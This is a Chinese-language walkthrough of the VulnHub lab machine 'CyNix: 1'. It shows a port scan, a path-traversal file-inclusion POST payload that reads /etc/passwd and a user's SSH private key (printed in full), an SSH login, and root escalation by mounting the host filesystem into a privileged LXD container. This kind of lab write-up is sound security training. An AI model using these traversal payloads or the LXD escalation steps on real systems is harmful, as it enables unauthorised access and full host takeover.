其他分享
首页 > 其他分享> > CyNix: 1

CyNix: 1

作者：互联网

CyNix: 1

目录

下载地址：CyNix: 1 ~ VulnHub

1 信息收集

image-20220213122008295

1.1 端口扫描

┌──(kali㉿kali)-[~]
└─$ nmap -sV -T4 -p - 192.168.0.3 
PORT      STATE    SERVICE   VERSION
80/tcp    open     http      Apache httpd 2.4.29 ((Ubuntu))
6688/tcp  open     ssh       OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

1.2 后台目录扫描

dirsearch -x403,401,301,302 -u http://192.168.0.3/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -F

[21:37:35] Starting: 
[21:37:45] 200 -   15KB - /lavalamp

Task Completed

1.2.1 目录分析

  1. http://192.168.0.3/lavalamp/中发现留言板， 抓包发现可疑页面http://192.168.0.3/lavalamp/canyoubypassme.php，没有显示出来，访问试试。

    image-20220303200618479

  2. 尝试访问http://192.168.0.3/lavalamp/canyoubypassme.php，网页被一个动画覆盖了。

    image-20220303202521264

  3. 分析网站，存在opacity被设置为0.0，即被隐藏起来了，删除opacity: 0.0;后显示在图片上。

    image-20220303203807150

  4. 随便写个数字上去提交，post主体内容有个file，尝试文件包含查看/etc/passwd

    POST /lavalamp/canyoubypassme.php HTTP/1.1
Host: 192.168.0.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://192.168.0.3
Connection: close
Referer: http://192.168.0.3/lavalamp/canyoubypassme.php
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

file=1/../../../../../../../etc/passwd&read=Download+the+number

    image-20220303222331588

  5. 根据/etc/passwd文件得知系统中存ford用户

    image-20220303222652489

  6. 查看ford用户家目录保存的ssh登录私钥文件：根据习惯会放到/home/username/.ssh/id_rsa目录下，一查还真有

    POST /lavalamp/canyoubypassme.php HTTP/1.1
Host: 192.168.0.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
Origin: http://192.168.0.3
Connection: close
Referer: http://192.168.0.3/lavalamp/canyoubypassme.php
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

file=1/../../../../../../../home/ford/.ssh/id_rsa&read=Download+the+number

    image-20220303223450106

  7. 将私钥保存到本地，并尝试连接目标服务器

    $ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAk1VUtcYuZmM1Zmm4yNpguzzeocGpMVYC540yT90QqaD2Bsal
zYqvHKEh++bOL6QTSr0NjU9ifT/lBIVSIA0TpjUTkpdIW045H+NlgMhN0q/x6Yy2
LofuB4LQqRzr6cP0paoOYNq1KYG3QF1ouGa4k1i0td4DepBxcu4JBMOm20E7BurG
zo41f/YWjC5DurNjIchzl4GyBClMGSXWbIbr6sYwVx2OKyiPLFLYusrNqwJNQvxz
Mf5yolEYI8WOXJzCfiPQ5VG8KXBH3FHu+DhFNgrJQjgowD15ZMQ1qpO/2FMhewR6
gcDs7rCLUUXc9/7uJ7e3zHlUyDgxakYohn3YiQIDAQABAoIBAE/cfSJa3mPZeuSc
gfE9jhlwES2VD+USPljNDGyF47ZO7Y0WuGEFv43BOe6VWUYxpdNpTqM+WKCTtcwR
iEafT/tT4dwf7LSxXf2PAUIhUS3W+UYjY80tGTUxD3Hbn3UDJuV1nH2bj3+ENJTL
DSyHYZ1dA/dg9HnHOfeWV4UhmJxXmOAOKgU9Z73sPn4bYy4B3jnyqWn392MsQftr
69ZYauTjku9awpuR5MAXMJ9bApk9Q7LZYwwGaSZw8ceMEUj7hkZBtP9W9cilCOdl
rFXnkc8CvUpLh+hX6E/JOCGsUvdPuVLWKd2bgdK099GrRaenS8SlN0AUTfyNiqg4
VE7V8AECgYEAwoGVE+Z8Tn+VD5tzQ0twK+cP2TSETkiTduYxU3rLqF8uUAc3Ye/9
TLyfyIEvU7e+hoKltdNXHZbtGrfjVbz6gGuGehIgckHPsZCAQLPwwEqp0Jzz9eSw
qXI0uM7n2vSdEWfCAcJBc559JKZ5uwd0XwTPNhiUqe6DUDUOZ7kI34ECgYEAwenM
gMEaFOzr/gQsmBNyDj2gR2SuOYnOWfjUO3DDleP7yXYNTcRuy6ke1kvMhf9fWw7h
dq3ieU0KSHrNUQ9igFK5C8FvsB+HUyEjfVpNhFppNpWUUWKDRCypbmypLg0r+9I7
myrdBFoYv30WKVsEHus1ye4nJzKjCtkgmjYMfQkCgYA0hctcyVNt2xPEWCTC2j8b
C9UCwSStAvoXFEfjk/gkqjcWUyyIXMbYjuLSwNen0qk3J1ZaCAyxJ8009s0DnPlD
7kUs93IdiFnuR+fqEO0E7+R1ObzC/JMb3oQQF4cSYBV92rfPw8Xq07RVTkL21yd8
dQ8DO5YBYS/CW+Fc7uFPgQKBgHWAVosud792UQn7PYppPhOjBBw+xdPXzVJ3lSLv
kZSiMVBCWI1nGjwOnsD77VLFC+MBgV2IwFMAe9qvjvoveGCJv9d/v03ZzQZybi7n
KVGp91c8DEPEjgYhigl/joR5Ns3A9p1vu72HWret9F/a5wRVQqK5zL/Tzzgjmb3Y
QnkBAoGAVosEGOE7GzBMefGHjQGMNKfumeJ01+Av6siAI6gmXWAYBaU618XhFEh1
+QNoLgWvSXoBuN+pMkxnRCfMTNbD1wSk46tW3sWHkZdV31gKceOifNzMVw53bJHP
/kto0eGJ/vgM0g9eyqmcpPTVqf7EwkJdo0LngOprNyTk+54ZiUg=
-----END RSA PRIVATE KEY-----

    image-20220303224134231

2 GetShell

2.1 赋予id_rsa文件600权限，否则会报错，无法连接

chmod 600 id_rsa

image-20220303224448250

2.2 连接目标服务器

ssh -i id_rsa ford@192.168.0.3 -p 6688

image-20220303224546220

3 提权

3.1 尝试提权

 sudo su -

3.2 收集当前系统信息

  1. 查看当前系统中具有sid权限的文件

    ford@blume:~$ find / -perm -u=s 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/traceroute6.iputils
/bin/ping
/bin/su
/bin/mount
/bin/umount
/bin/fusermount

  2. 查找当前系统中ford用户创建的文件：存在lxc配置文件，说明系统安装了lxc服务

    ford@blume:~$ find / -user ford 2>/dev/null | grep -v "/proc/"
/dev/pts/2
/dev/pts/1
/home/ford
/home/ford/.bash_history
/home/ford/.ssh
/home/ford/.ssh/id_rsa.pub
/home/ford/.ssh/id_rsa
/home/ford/.ssh/authorized_keys
/home/ford/user.txt
/home/ford/.config
/home/ford/.config/lxc
/home/ford/.config/lxc/config.yml
/home/ford/.config/lxc/cookies
/home/ford/.local
/home/ford/.local/share
/home/ford/.local/share/nano
/home/ford/.sudo_as_admin_successful
/home/ford/.profile
/home/ford/.bash_logout
/home/ford/.bashrc
/home/ford/.cache
/home/ford/.cache/motd.legal-displayed

  3. 正常运行的容器

    ford@blume:~$ lxc ls

    image-20220304232619409

3.3 LXD GROUP提权

当用户具有lxd权限时，可以通过创建任意镜像，并将当前系统根目录挂载到镜像mnt目录下，然后通过chroot命令即可获取当前系统的root权限

  1. 查看当前用户权限

    image-20220305000157850

  2. 下载镜像并导入到lxd中：

    # 使用lxc下载镜像，自动创建一个ubuntu容器并导入到lxd中
# 如果本地没有初始化过lxd，那么需要先执行lxd init进行初始化
lxc init ubuntu: fcarey -c security.privileged=true

# 自动下载ubuntu镜像比较慢，可以使用Github上构建好的镜像
# 下载地址：https://github.com/saghul/lxd-alpine-builder
ford@blume:~$ git clone https://github.com/saghul/lxd-alpine-builder.git
ford@blume:~$ cd lxd-alpine-builder/
ford@blume:~/lxd-alpine-builder$ lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias fcarey
ford@blume:~/lxd-alpine-builder$ lxc init fcarey fcarey -c security.privileged=true
Creating fcarey

    image-20220305000455741

  3. 配置容器，将宿主机根目录挂载到容器/mnt/root目录下。

    ford@blume:~/lxd-alpine-builder$ lxc config device add fcarey fdevice disk source=/ path=/mnt/root recursive=true

  4. 启动并进入容器中，此时获取到的是容器的shell

    ford@blume:~/lxd-alpine-builder$ lxc start fcarey
ford@blume:~/lxd-alpine-builder$ lxc exec fcarey /bin/sh

  5. 由于已经将宿主机根目录挂载到了容器的/mnt/root目录下，因此在容器内，/mnt/root/目录是一个完整的根目录，可以使用chroot获取到这个根目录的完整root权限

    chroot /mnt/root

    image-20220305001743121

  6. 获取权限后可以对这个被挂载的根目录系统进行密码重置，创建特权账号等一起写高权限操作。等同于获取宿主机root权限

标签：bin,CyNix,0.3,ford,lxc,usr,home
来源： https://www.cnblogs.com/f-carey/p/15966953.html